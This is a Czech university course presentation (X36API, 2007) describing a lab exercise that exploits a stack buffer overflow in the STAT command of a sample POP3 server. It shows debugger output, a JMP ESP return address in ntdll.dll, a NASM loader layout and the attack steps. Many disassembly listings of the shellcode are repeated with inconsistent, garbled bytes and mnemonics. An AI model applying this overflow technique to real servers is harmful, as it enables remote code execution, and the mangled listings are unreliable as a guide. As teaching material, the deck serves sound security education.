

# Využití buffer-overflow

## semestrální úkol předmětu X36API

```
0012F99E 70 NOP
0012F99F 90 NOP
0012F9A0 90 NOP
0012F9A1 90 NOP
0012F9A2 90 NOP
0012F9A3 90 NOP
0012F9A4 2BC9 SUB ECX,ECX
0012F9A6 83E9 B0 SUB ECX,-50
0012F9A9 D9EE FLDZ
0012F99B D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP]
0012F99F 5B POP EBX
0012F9A0 8173 13 14EBAB4 XOR DWORD PTR DS:[EBX+13],41AB4
0012F9A7 83EB FC SUB EBX,-4
0012F9AA ^E2 F4 LOOPD SHORT 0012F9A0
0012F9AC E8 81400CFC CALL FC1F3A32
0012F9B1 1254BE EB ADC DL,BYTE PTR DS:[ESI+EDI*4]
0012F9B5 8B20 MOV ESP,DWORD PTR DS:[EAX]
0012F9B7 2D 30CF2004 SUB EAX,420CF30
0012F9BC 2860 D7 SUB BYTE PTR DS:[EAX-29],AH
0012F9BF 44 INC ESP
0012F9C0 6C INS BYTE PTR ES:[EDI],DX
0012F9C1 EA 44CA5BF3 2011 JMP FAR 1E20:F35BCA44
0012F9C8 34 EA XOR AL,0EA
0012F9CA 40 INC EAX
0012F9CB 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA],089F
0012F9D1 DA6B D8 FISUBR DWORD PTR DS:[EBX-20]
0012F9D4 B8 6F5B3513 MOV EAX,13356B6F
0012F9D5 54 SUB AH,BYTE PTR DS:[ECX+4]
0012F9DC 15 2940B52F ADC EAX,2FB54029
0012F9E1 BF 8F69610F MOV EDI,0F61698F
9.5.2007 X36API - Buffer-Overflow
```

# Zadání

- Využít chybu buffer-overflow ve vzorovém POP3 serveru a spustit vlastní kód
- <http://moon.felk.cvut.cz/~xballner/vyuka/x36api/index.php?&func=practice>
- [http://moon.felk.cvut.cz/~xballner/vyuka/x36api/data/2007\\_summer/](http://moon.felk.cvut.cz/~xballner/vyuka/x36api/data/2007_summer/)

```
0012F998 78 NOP
0012F999 98 NOP
0012F99A 98 NOP
0012F99B 98 NOP
0012F99C 98 NOP
0012F99D 98 NOP
0012F99E 2BC9 SUB ECX,ECX
0012F99F 83E9 B0 SUB ECX,-50
0012F9A0 D9EE FLDZ
0012F9A1 D97424 F4 FSTENV (28-BYTE) PTR SS:[EIP]
0012F9A2 5B POP EBX
0012F9A3 8173 13 14EBAB4 XOR DWORD PTR DS:[EBX+13],4
0012F9A4 83E9 F4 SUB EBX,-4
0012F9A5 E2 30C2 JNB ECX
0012F9A6 E8 11 000000 CALL EBX
0012F9A7 1254BE EB ADC DL,BYTE PTR DS:[ESI]
0012F9A8 8B20 MOV ESP,DWORD PTR DS:[EAX]
0012F9A9 2D 30C2 JNB ECX
0012F9AA 286 07 SUB EBX,7
0012F9AB 44 INS BYTE PTR ES:[EDI],DH
0012F9AC 6C JMP FAR 1E20:F35BCA44
0012F9AD EA 44CA5BF3 2011 XOR AL,0EA
0012F9AE 34 EA INC EAX
0012F9AF 40 OR BYTE PTR DS:[EDI+FA4020F],AL
0012F9B0 089F DF2040FA FISUBR DWORD PTR DS:[EBX-20]
0012F9B1 DA6B D8 MOV EAX,13356B6F
0012F9B2 B8 65FB9513 SUB AH,BYTE PTR DS:[ECX+4]
0012F9B3 9.5.2007 ADC EAX,2FB54029
0012F9B4 15 2940B52F MOV EDI,0FF1498F
0012F9B5 9F 8F69610F
```

# Vypracování

- Členové týmu:
  - Tomáš Navrátil
  - Jan Pospíšil
  - Jiří Vrbický

• Na os WinXP Home

• Prezentováno: 9. května 2007

9.5.2007

X36API - Buffer-Overflow

```
0012F995 78 NOP
0012F996 90 NOP
0012F997 90 NOP
0012F998 90 NOP
0012F999 90 NOP
0012F99A 90 NOP
0012F99B 90 NOP
0012F99C 2BC SUB ECX,74
0012F99D 83E8 SUB EBX,24
0012F99E D9E0 XOR EDI,0
0012F99F D974 XOR EDI,74
0012F9A0 5B POP EBX
0012F9A1 8173 XOR DWORD PTR DS:[EBX+13],4173
0012F9A2 83EB SUB EBX,-4
0012F9A3 ^E2 LOOPD SHORT 0012F9A0
0012F9A4 E8 CALL FC1F9A32
0012F9A5 1254 ADC DL,BYTE PTR DS:[ESI+EDI*4]
0012F9A6 8B20 MOV ESP,DWORD PTR DS:[EAX]
0012F9A7 2D SUB EAX,420CF30
0012F9A8 286 SUB EAX,STR PTR DS:[EAX+286]
0012F9A9 44 MOV EAX,13356B6F
0012F9AA 6C SUB AH,BYTE PTR DS:[ECX+4]
0012F9AB EA JMP FAR 1E20:F35BCA44
0012F9AC 34 XOR AL,0EA
0012F9AD 40 INC EAX
0012F9AE 089F OR BYTE PTR DS:[EDI+FA40200F],9F
0012F9AF DA68 FISUBR DWORD PTR DS:[EBX-20]
0012F9B0 B8 MOV EAX,13356B6F
0012F9B1 15 ADC EAX,2FB54029
0012F9B2 BF MOV EDI,0F51498F
```

# Analýza

- Studium RFC 1349  
(Post Office Protocol – Version 3)
- Zkoušení jednotlivých příkazů s různými argumenty

- => nalezeno podivné chování příkazu

STAT

```
0012F995 78 NOP
0012F996 90 NOP
0012F997 90 NOP
0012F998 90 NOP
0012F999 90 NOP
0012F99A 2BC9 SUB ECX,ECX
0012F99B 83E9 B0 SUB ECX,-50
0012F99C D9EE FLDZ
0012F99D D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP]
0012F99E 5B POP EBX
0012F99F 8173 13 14EBAB4 XOR DWORD PTR DS:[EBX+13],41B4
0012F9A0 83EB FC SUB EBX,-4
0012F9A1 E2 34 JEB 34
0012F9A2 E8 5740CF30 CALL EBX
0012F9A3 1254BE EB ADC DL,BYTE PTR DS:[EBX+EB]
0012F9A4 8B20 MOV ESP,DWORD PTR DS:[EAX]
0012F9A5 2D 420CF300 CMB EAX,420CF300
0012F9A6 2863 57 SUB BYTE PTR DS:[EAX-29],AH
0012F9A7 44 INC ESP
0012F9A8 6C INS BYTE PTR ES:[EDI],DX
0012F9A9 EA 44CA5BF3 2011 JMP FAR 1E20:F35BCA44
0012F9AA 34 EA XOR AL,0EA
0012F9AB 40 INC EAX
0012F9AC 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA],089F
0012F9AD DA6B D8 FISUBR DWORD PTR DS:[EBX-20]
0012F9AE B8 65FB9513 MOV EAX,13356B6F
0012F9AF 90 SUB AH,BYTE PTR DS:[ECX+4]
0012F9B0 15 2940B52F ADC EAX,2FB54029
0012F9B1 BF 8F69610E MOV EDI,0F61498E
```

# Příkaz STAT

- Podle RFC má vracet jednu řádku kladné odpovědi s dvěma čísly
- RFC dokonce nedoporučuje předávat zde jiné informace

- Vzorový server vrací 3 čísla a ještě za ně kopíruje část argumentu příkazu STAT

```
0012F995 78 NOP
0012F996 98 NOP
0012F997 98 NOP
0012F998 98 NOP
0012F999 98 NOP
0012F99A 2BC9 SUB ECX,ECX
0012F99B 83E9 B0 SUB ECX,-50
0012F99C D9EE FLDZ
0012F99D D97424 F4 FSTENV (28-BYTE) PTR SS:[ESI]
0012F99E 5B POP EBX
0012F99F 8173 13 14EBAB4 XOR DWORD PTR DS:[EBX+13],4
0012F9A0 83E9 F4 SUB EBX,-4
0012F9A1 E2 44 JNB EBX
0012F9A2 E8 8440 FF JMP FF:8440
0012F9A3 1254BE EB ADC DL,BYTE PTR DS:[ESI+EBX]
0012F9A4 8B20 MOV ESP,DWORD PTR DS:[EAX]
0012F9A5 2D 0CF2004 SUB ESP,427EFA
0012F9A6 286 JNB EBX
0012F9A7 44 INC EAX
0012F9A8 6C INS BYTE PTR ES:[EDI],DH
0012F9A9 EA 44CA5BF3 2011 JMP FAR 1E20:F35BCA44
0012F9AA 34 EA XOR AL,0EA
0012F9AB 40 INC EAX
0012F9AC 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA],089FDF2040FA
0012F9AD DA6B D8 FISUBR DWORD PTR DS:[EBX+20]
0012F9AE B8 65FB9513 MOV EAX,13356B6F
0012F9AF 90 SUB AH,BYTE PTR DS:[ECX+4]
0012F9B0 15 2940B52F ADC EAX,2FB54029
0012F9B1 BF 8F69610F MOV EDI,0F61498F
```

# Příkaz STAT - chování

- Pokud se přihlásíme k běžícímu serveru znovu, zvětšuje se počet kopírovaných znaků z argumentu STAT na výstup
- Pokud se alespoň 3 krát přihlásíme a jako argument zadáme dostatečně velký řetězec, program je ukončen systémem pro neplatnou operaci

# Neplatná operace...

```
telnet localhost
+OK POP READY
user a
+OK
pass s
+OK authorized
statecccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
+OK 3 1479 4 ccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccc?

Připojení k hostiteli bylo ztraceno.
Pokračujte stisknutím libovolné klávesy...
```

0012F9A0  
0012F9A1  
0012F9A2  
0012F9A3  
0012F9A4  
0012F9A5  
0012F9A6  
0012F9A7  
0012F9A8  
0012F9A9  
0012F9AA  
0012F9AB  
0012F9AC  
0012F9AD  
0012F9AE  
0012F9AF  
0012F9B0  
0012F9B1  
0012F9B2  
0012F9B3  
0012F9B4  
0012F9B5  
0012F9B6  
0012F9B7  
0012F9B8  
0012F9B9  
0012F9BA  
0012F9BB  
0012F9BC  
0012F9BD  
0012F9BE  
0012F9BF  
0012F9C0  
0012F9C1  
0012F9C2  
0012F9C3  
0012F9C4  
0012F9C5  
0012F9C6  
0012F9C7  
0012F9C8  
0012F9C9  
0012F9CA  
0012F9CB  
0012F9CC  
0012F9CD  
0012F9CE  
0012F9CF  
0012F9D0  
0012F9D1  
0012F9D2  
0012F9D3  
0012F9D4  
0012F9D5  
0012F9D6  
0012F9D7  
0012F9D8  
0012F9D9  
0012F9DA  
0012F9DB  
0012F9DC  
0012F9DD  
0012F9DE  
0012F9DF  
0012F9E0  
0012F9E1  
0012F9E2  
0012F9E3  
0012F9E4  
0012F9E5  
0012F9E6  
0012F9E7  
0012F9E8  
0012F9E9  
0012F9EA  
0012F9EB  
0012F9EC  
0012F9ED  
0012F9EE  
0012F9EF  
0012F9F0  
0012F9F1  
0012F9F2  
0012F9F3  
0012F9F4  
0012F9F5  
0012F9F6  
0012F9F7  
0012F9F8  
0012F9F9  
0012F9FA  
0012F9FB  
0012F9FC  
0012F9FD  
0012F9FE  
0012F9FF

```
8173 13 14EBAB4 XOR DWORD PTR DS:[EBX+13],4173
83EB FC SUB EBX,-4
^E2 F4 LOOPD SHORT 0012F9A0
E8 81400CFC CALL FC1F9A32
1254BE EB ADC DL,BYTE PTR DS:[ESI+EDI*4]
8B20 MOV ESP,DWORD PTR DS:[EAX]
2D 30CF2004 SUB EAX,420CF30
2860 D7 SUB BYTE PTR DS:[EAX-29],AH
44 INC ESP
6C INS BYTE PTR ES:[EDI],DX
EA 44CA5BF3 201 JMP FAR 1E20:F35BCA44
34 EA XOR AL,0EA
40 INC EAX
089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA],AL
DA6B D8 FISUBR DWORD PTR DS:[EBX-20]
B8 6F5B9513 MOV EAX,13356B6F
15 2940B52F SUB AH,BYTE PTR DS:[ECX+4]
BF 8F69610F ADC EAX,2FB54029
9F 8F69610F MOV EDI,0F61498F
```

# Neplatná operace...

```
telnet localhost
+OK POP READY
user a
+OK
pass s
+OK authorized
statecccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
+OK 3 1479 4
cccccccccccc9

Připojení k h
Pokračujte st
```

pop3.exe

V aplikaci pop3.exe došlo k problému a je třeba ji zavřít.  
Omlouváme se za vzniklé potíže.

pop3.exe

Označení chyby \_\_\_\_\_

AppName: pop3.0.0.0 ModName: unknown  
ModVer: 0.0.0.0 **Offset: 63636363**

Chcete-li zobrazit technické informace o zprávě o chybách, [klepněte sem](#).

Zavřít

```
0012F990 8173 13 14EBAB4
0012F9A7 83EB FC
0012F9AA ^E2 F4
0012F9AC E8 81400CFC
0012F9B1 1254BE EB
0012F9B5 8B20
0012F9B7 2D 30CF2004
0012F9BC 2860 D7
0012F9BF 44
0012F9C0 6C
0012F9C1 EA 44CA5BF3 201
0012F9C8 34 EA
0012F9CA 40
0012F9CB 089F DF2040FA
0012F9D1 DA6B D8
0012F9D4 B8 655B9513
0012F9D9 9.5.2007
0012F9DC 15 2940B52F
0012F9E1 BF 8569610E
```

```
INC ESP
INS BYTE PTR ES:[EDI],DW
JMP FAR 1E20:F35BCA44
XOR AL,0EA
INC EAX
OR BYTE PTR DS:[EDI+FA4020FA],
FISUBR DWORD PTR DS:[EBX-20]
MOV EAX,13356B6F
SUB AH,BYTE PTR DS:[ECX+4]
ADC EAX,2FB54029
MOV EDI,0F51498E
```



# Magická adresa 63636363

- Co se stalo naznačuje, že jsme argumentem přepsali návratovou adresu na zásobníku (viz algoritmus volání funkce)

- Potřebujeme zjistit, co se vlastně na zásobníku děje

```
0012F995 78          NOP
0012F99F 98          NOP
0012F990 98          NOP
0012F991 98          NOP
0012F992 98          NOP
0012F993 98          NOP
0012F994 2BC        NOP
0012F996 83E        NOP
0012F999 09E        NOP
0012F99B 097424 F4    FSTENV [28-BYTE] PTR SS:[0012F999]
0012F99F 5B         POP EBX
0012F9A0 817        NOP
0012F9A7 83E        NOP
0012F9AA ^E2 F4     LOPD SHORT 0012F9A0
0012F9AC E8 81400CFC CALL FC1F3A32
0012F9B1 1254BE EB   ADC DL, BYTE PTR DS:[ESI+EDI*4]
0012F9B5 8B20      MOV ESP, DWORD PTR DS:[EAX]
0012F9B7 2D 30CF2004 SUB EAX, 420CF30
0012F9BC 2860 D7    SUB BYTE PTR DS:[EAX-29], AH
0012F9BF 44        INC ESP
0012F9C0 6C        INS BYTE PTR ES:[EDI], DX
0012F9C1 EA 44CA5BF3 2011 JMP FAR 1E20:F35BCA44
0012F9C8 34 EA     XOR AL, 0EA
0012F9CA 40        INC EAX
0012F9CB 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA], AL
0012F9D1 DA6B D8    FISUBR DWORD PTR DS:[EBX-20]
0012F9D4 B8 65FB3513 MOV EAX, 13356B6F
0012F9D9 95        SUB AH, BYTE PTR DS:[ECX+4]
0012F9DC 15 2940B52F ADC EAX, 2FB54029
0012F9E1 BF 8F69610E MOV EDI, 0F61498E
```

# Debugger – analýza chyby

```
Registers (FPU)
EAX 00000000
ECX 00000000
EDX 0012F92E
EBX 7FFD8000
ESP 0012F98C ASCII "cc9"
EBP 63636363
ESI 00000A28
EDI 00000000
EIP 63636363

C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -UNORM D0A8 01050104 00000000
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty 0.0

FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
```



```
0012F988 70 NOP
0012F98F 90 NOP
0012F990 90 NOP
0012F991 90 NOP
0012F992 90 NOP
0012F993 90 NOP
0012F994 2BC9 SUB E
0012F996 83E9 B0 SUB E
0012F999 D9EE FLDZ
0012F99B D97424 F4 FSTEM
0012F99F 5B POP E
0012F9A0 8173 13 14EBAB4 XOR U
0012F9A7 83EB FC SUB E
0012F9AA E2 F4 LOOPD
0012F9AC E8 81400CFC CALL
0012F9B1 1254BE EB ADC D
0012F9B5 8B20 MOV B
0012F9B7 2D 30CF2004 SUB B
0012F9BC 2860 D7 SUB B
0012F9BF 44 INC B
0012F9C0 6C INS B
0012F9C1 EA 44CA5BF3 2011 JMP F
0012F9C8 34 EA XOR E
0012F9CA 40 INC E
0012F9CB 089F DF2040FA OR B
0012F9D1 DA6B D8 FISUB
0012F9D4 B8 655B9513 MOV E
0012F9D5 SUB AH, BYTE PTR DS:[EDI+4]
0012F9DC 15 2940B52F ADC EAX, 2FB54029
0012F9E1 FE 85C9610E MOV EDI, 85C9610E
```

# Debugger – analýza chyby (zásobník)

```
0012F988 78  
0012F98F 98  
0012F990 98  
0012F991 98  
0012F992 98  
0012F993 98  
0012F994 2BC9  
0012F996 83E9 B0  
0012F999 D9EE  
0012F99B D97424 F4  
0012F99F 5B  
0012F9A0 8173 13 14EBAB4  
0012F9A7 83EB FC  
0012F9AA ^E2 F4  
0012F9AC E8 81400CFC  
0012F9B1 1254BE EB  
0012F9B5 8B20  
0012F9B7 2D 30CF2004  
0012F9BC 2860 D7  
0012F9BF 44  
0012F9C0 6C  
0012F9C1 EA 44CA5BF3 201  
0012F9C8 34 EA  
0012F9CA 40  
0012F9CB 089F DF2040FA  
0012F9D1 DA6B D8  
0012F9D4 B8 655B3513  
0012F9D8 9.5.2007  
0012F9DC 15 2940B52F  
0012F9E1 BF 8E69610F
```

0012F91C	00401D26	pop3.00401D26
0012F920	003933A8	ASCII "stat cccccccccccccccccccccccccccccccccccc
0012F924	0012F940	ASCII " cccccccccccccccccccccccccccccccccccc
0012F928	00000006	
0012F92C	00008000	
0012F930	00000000	
0012F934	0F121CC6	
0012F938	34312033	
0012F93C	34203937	
0012F940	63632020	
0012F944	63636363	
0012F948	63636363	
0012F94C	63636363	
0012F950	63636363	
0012F954	63636363	
0012F958	63636363	
0012F95C	63636363	
0012F960	63636363	
0012F964	63636363	
0012F968	63636363	
0012F96C	63636363	
0012F970	63636363	
0012F974	63636363	
0012F978	63636363	
0012F97C	63636363	
0012F980	63636363	
0012F984	63636363	
0012F988	63636363	
0012F98C	00396363	
0012F990	7C97CE28	UNICODE "C:\WINDOWS\system32\IMM32.DLL"
0012F994	00FDFC10	
0012F998	00000000	
0012F99C	00393390	
0012F9A0	00393390	
0012F9A4	00030000	
0012F9A8	00390178	
0012F9AC	00000098	
0012F9B0	00390000	
0012F9B4	0012F7B0	

část  
argumentu  
příkazu STAT

# Využití chyby

- Pokud tedy argumentem předáme vhodnou adresu, můžeme skočit (téměř) kam si přejeme
- Vhodným místem je nějaké umístění instrukce **JMP ESP**, nebo **CALL ESP** (ale adresa nesmí obsahovat nuly!)

```
0012F990 78 NOP
0012F991 90 NOP
0012F992 90 NOP
0012F993 90 NOP
0012F994 2BC NOP
0012F995 83E NOP
0012F996 09E NOP
0012F997 097424 F4 FSTENV (28-BYTE) PTR SS:[EIP]
0012F998 5B POP EBX
0012F999 817 NOP
0012F99A 83E NOP
0012F99B ^E2 74 LOOPD SHORT 0012F9A0
0012F99C E8 81400CFC CALL FC1F3A32
0012F99D 1254BE EB ADC DL, BYTE PTR DS:[ESI+EDI*4]
0012F99E 8B20 MOV ESP, DWORD PTR DS:[EAX]
0012F99F 2D 30CF2004 SUB EAX, 420CF30
0012F9A0 2860 D7 SUB BYTE PTR DS:[EAX-29], AH
0012F9A1 44 INC ESP
0012F9A2 6C INS BYTE PTR ES:[EDI], DX
0012F9A3 EA 44CA5BF3 2011 JMP FAR 1E20:F35BCA44
0012F9A4 34 EA XOR AL, 0EA
0012F9A5 40 INC EAX
0012F9A6 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA]
0012F9A7 DA6B D8 FISUBR DWORD PTR DS:[EBX-20]
0012F9A8 B8 65FB9513 MOV EAX, 13356B6F
0012F9A9 15 2940B52F SUB AH, BYTE PTR DS:[ECX+4]
0012F9AA 0F 85C9610E ADC EAX, 2FB54029
0012F9AB 0F 85C9610E MOV EDI, 0F51498E
```

# Využití chyby

Base	Size	Entry	Name	File version	Path
00400000	00016000	00405CDE	pop3		C:\Dokumenty\skola\4. semestr\API\pop3\pop3.exe
71A80000	00008000	71A81642	WS2HELP	5.1.2600.2180	C:\WINDOWS\system32\WS2HELP.dll
71A90000	00017000	71A91273	WS2_32	5.1.2600.2180	C:\WINDOWS\system32\WS2_32.dll
77C00000	00058000	77C0F2A1	msvcrt	7.0.2600.2180	C:\WINDOWS\system32\msvcrt.dll
77DC0000	000AB000	77DC70D4	ADVAPI32	5.1.2600.2180	C:\WINDOWS\system32\ADVAPI32.dll
77E70000	00091000	77E76284	RPCRT4	5.1.2600.2180	C:\WINDOWS\system32\RPCRT4.dll
7C800000	000F4000	7C80B5AE	kernel32	5.1.2600.2945	C:\WINDOWS\system32\kernel32.dll
7C900000	000AF000	7C913156	ntdll	5.1.2600.2180	C:\WINDOWS\system32\ntdll.dll

7C  
98  
9A  
DWP  
NDP  
VFP



7C941EED	FFE4	JMP ESP	
7C941EEF	FE	???	Unknown command
7C941EF0	FF56 68	CALL DWORD PTR DS:[ESI+68]	
7C941EF3	A2 1F947CE8	MOV BYTE PTR DS:[E87C941F],AL	
7C941EF8	F4	HLT	Privileged command
7C941EF9	E4 FE	IN AL,0FE	I/O command
7C941EFB	FF83 C4184383	INC DWORD PTR DS:[EBX+834318C4]	
7C941F01	FB	STI	
7C941F02	0276 51	ADD DH,BYTE PTR DS:[ESI+51]	
7C941F05	64:A1 18000000	MOV EAX,DWORD PTR FS:[18]	
7C941F0B	8B40 30	MOV EAX,DWORD PTR DS:[EAX+30]	
7C941F0E	FF70 08	PUSH DWORD PTR DS:[EAX+8]	

0012F901 DA68 D8 FISUB DWORD PTR DS:[EAX+8]  
 0012F904 B8 65B9513 MOV EAX,13356B6F  
 0012F907 15 2940852F SUB AH,BYTE PTR DS:[EAX+4]  
 0012F90C 15 2940852F ADC EAX,2FB54029  
 0012F911 BF 8E69618E MOV EDI,8E61498E

9.5.2007

X36API - Buffer-Overflow

# Využití chyby

- V modulu NTDLL.DLL jsem na adrese 0x7C941EED našli instrukci JMP ESP (0xFFE4)
- Nyní je potřeba správně odhadnou / vypočítat / vyzkoušet místo, kam vložit tuto adresu a náš shell-kód do argumentu

```
0012F990 78 JMP
0012F991 98 POP
0012F992 98 JMP
0012F993 98 JMP
0012F994 2B CALL
0012F995 83E CALL
0012F996 D9E CALL
0012F997 D97424 F4 FSTENV (28-BYTE) PTR DS:[EIP]
0012F998 5B POP EBX
0012F999 817 CALL
0012F99A 83E CALL
0012F99B ^E2 F4 LOOPD SHORT 0012F9A0
0012F99C E8 81400CFC CALL FC1F3A32
0012F99D 1254BE EB ADC DL, BYTE PTR DS:[ESI+EDI*4]
0012F99E 8B20 MOV ESP, DWORD PTR DS:[EAX]
0012F99F 2D 30CF2004 SUB EAX, 420CF30
0012F9A0 2860 D7 SUB BYTE PTR DS:[EAX-29], AH
0012F9A1 44 INC ESP
0012F9A2 6C INS BYTE PTR ES:[EDI], DX
0012F9A3 EA 44CA5BF3 2011 JMP FAR 1E20:F35BCA44
0012F9A4 34 EA XOR AL, 0EA
0012F9A5 40 INC EAX
0012F9A6 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA]
0012F9A7 DA6B D8 FISUBR DWORD PTR DS:[EBX-20]
0012F9A8 B8 65FB3513 MOV EAX, 13356B6F
0012F9A9 15 2940B52F SUB AH, BYTE PTR DS:[ECX+4]
0012F9AA 9E 8F69610E ADC EAX, 2FB54029
0012F9AB 9E 8F69610E MOV EDI, 0F61498E
```

# Zavaděč shell-kódu

**; zaplneni bufferu**

**times 64 db 'c'**

**; adresa jmp esp v ntdll.dll**

**dd 0x7C941EED**

**; skluzavka**

**nop**

**nop**

**nop**

**%include "shell-code.asm"**

```
0012F905 70          NOP
0012F90F 90          NOP
0012F990 90          NOP
0012F991 90          NOP
0012F992 90          NOP
0012F993 90          NOP
0012F994 2BC9      NOP ECX,ECX
0012F996 83E9 B0     SUB ECX,-50
0012F999 D9EE      FLDZ
0012F99B D97424 F4  FSTENV (28-BYTE) PTR SS:[ESP+4]
0012F99F 5B        MOV EBX,EBX
0012F9A0 8173 13 14E8  MOV EDI,DWORD PTR DS:[EBX+13],41E8
0012F9A7 83EB FC     SUB EBX,-4
0012F9AA ^E2 F4     LOOPD SHORT 0012F9A0
0012F9AC E8 81400CFC CALL FC1F9A32
0012F9B1 1254BE EB   MOV DL,BYTE PTR DS:[ESI+EDI*4]
0012F9B5 8B20      MOV ESP,DWORD PTR DS:[EAX]
0012F9B7 2D 30CF2004 SUB EAX,420CF30
0012F9BC 2860 D7   SUB BYTE PTR DS:[EAX],0
0012F9BF 44        INS BYTE PTR ES:[EDI],0
0012F9C0 6C        JMP FAR 1E20:F35BCA44
0012F9C1 EA 44CA5BF3 2011 XOR AL,0EA
0012F9C8 34 EA     INC EAX
0012F9CA 40        OR BYTE PTR DS:[EDI+FA40200F],AL
0012F9CB 089F DF2040FA FISUBR DWORD PTR DS:[EBX-20]
0012F9D1 DA6B D8   MOV EAX,13356B6F
0012F9D4 B8 655B9513 SUB AH,BYTE PTR DS:[ECX+4]
0012F9D9 9.5.2007 15 2940B52F ADC EAX,2FB54029
0012F9DC 8E 85C9610E MOV EDI,05F1498E
0012F9E1 8E 85C9610E
```

# Postup útoku

- Několikrát se připojit, aby se příchozí buffer dostatečně zvětšil
- Zaslát „infikovaný“ příkaz, tj. příkaz STAT následovaný zavaděčem shell-kódu a vlastním shell-kódem
- Zaslát znaky CRLF – ukončení příkazu  
STAT - teprve pak se data začnou zpracovávat



# Literatura a nástroje

- <ftp://ftp.isi.edu/in-notes/rfc1939.txt>
- [msdn2.microsoft.com/en-us/library/](http://msdn2.microsoft.com/en-us/library/)
- materiály k X36API

- debugger OllyDbg
- asm compiler NASM
- c++ compiler Borland C++ 5.5.1
- telnet, EditPlus

9.5.2007

X36API - Buffer-Overflow

# Vzorový program využívající chybu a více informací na:

<http://www.vpp-net.com/fel/api/pop3>

```
0012F995 70 NOP
0012F99F 90 NOP
0012F990 90 NOP
0012F991 90 NOP
0012F992 90 NOP
0012F993 90 NOP
0012F994 2BC9 SUB ECX,ECX
0012F996 83E9 B0 SUB ECX,-50
0012F999 D9EE FLDZ
0012F99B D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP]
0012F99F 5B POP EBX
0012F9A0 8173 13 14EBAB4 XOR DWORD PTR DS:[EBX+13],41AB4
0012F9A7 83EB FC SUB EBX,-4
0012F9AA ^E2 F4 LOOPD SHORT 0012F9A0
0012F9AC E8 81400CFC CALL FC1F3A32
0012F9B1 1254BE EB ADC DL,BYTE PTR DS:[ESI+EDI*4]
0012F9B5 8B20 MOV ESP,DWORD PTR DS:[EAX]
0012F9B7 2D 30CF2004 SUB EAX,420CF30
0012F9BC 2860 D7 SUB BYTE PTR DS:[EAX-29],AH
0012F9BF 44 INC ESP
0012F9C0 6C INS BYTE PTR ES:[EDI],DX
0012F9C1 EA 44CA5BF3 201 JMP FAR 1E20:F35BCA44
0012F9C8 34 EA XOR AL,0EA
0012F9CA 40 INC EAX
0012F9CB 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA],089F
0012F9D1 DA6B D8 FISUBR DWORD PTR DS:[EBX-20]
0012F9D4 B8 65FB3513 MOV EAX,13356B6F
0012F9D5 95 2004 SUB AH,BYTE PTR DS:[ECX+4]
0012F9DC 15 2940B52F ADC EAX,2FB54029
0012F9E1 BF 8F69610F MOV EDI,0F61698F
9.5.2007 X36API - Buffer-Overflow
```

# Děkujeme za pozornost

```
0012F99E 70 nop
0012F99F 90 nop
0012F9A0 90 nop
0012F9A1 90 nop
0012F9A2 90 nop
0012F9A3 90 nop
0012F9A4 2BC9 SUB ECX,ECX
0012F9A6 83E9 B0 SUB ECX,-50
0012F9A9 D9EE FLDZ
0012F99B D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP+24]
0012F99F 5B POP EBX
0012F9A0 8173 13 14EBAB4 XOR DWORD PTR DS:[EBX+13],41EBAB4
0012F9A7 83EB FC SUB EBX,-4
0012F9AA ^E2 F4 LOOPD SHORT 0012F9A0
0012F9AC E8 81400CFC CALL FC1F3A32
0012F9B1 1254BE EB ADC DL,BYTE PTR DS:[ESI+EDI*4]
0012F9B5 8B20 MOV ESP,DWORD PTR DS:[EAX]
0012F9B7 2D 30CF2004 SUB EAX,420CF30
0012F9BC 2860 D7 SUB BYTE PTR DS:[EAX-29],AH
0012F9BF 44 INC ESP
0012F9C0 6C INS BYTE PTR ES:[EDI],DX
0012F9C1 EA 44CA5BF3 2011 JMP FAR 1E20:F35BCA44
0012F9C8 34 EA XOR AL,0EA
0012F9CA 40 INC EAX
0012F9CB 089F DF2040FA OR BYTE PTR DS:[EDI+FA4020FA],089FDF2040FA
0012F9D1 DA6B D8 FISUBR DWORD PTR DS:[EBX-28]
0012F9D4 B8 65FB3513 MOV EAX,13356B6F
0012F9D5 55 SUB AH,BYTE PTR DS:[ECX+4]
0012F9DC 15 2940B52F ADC EAX,2FB54029
0012F9E1 BF 8F69610F MOV EDI,0F61698F
9.5.2007 X36API - Buffer-Overflow
```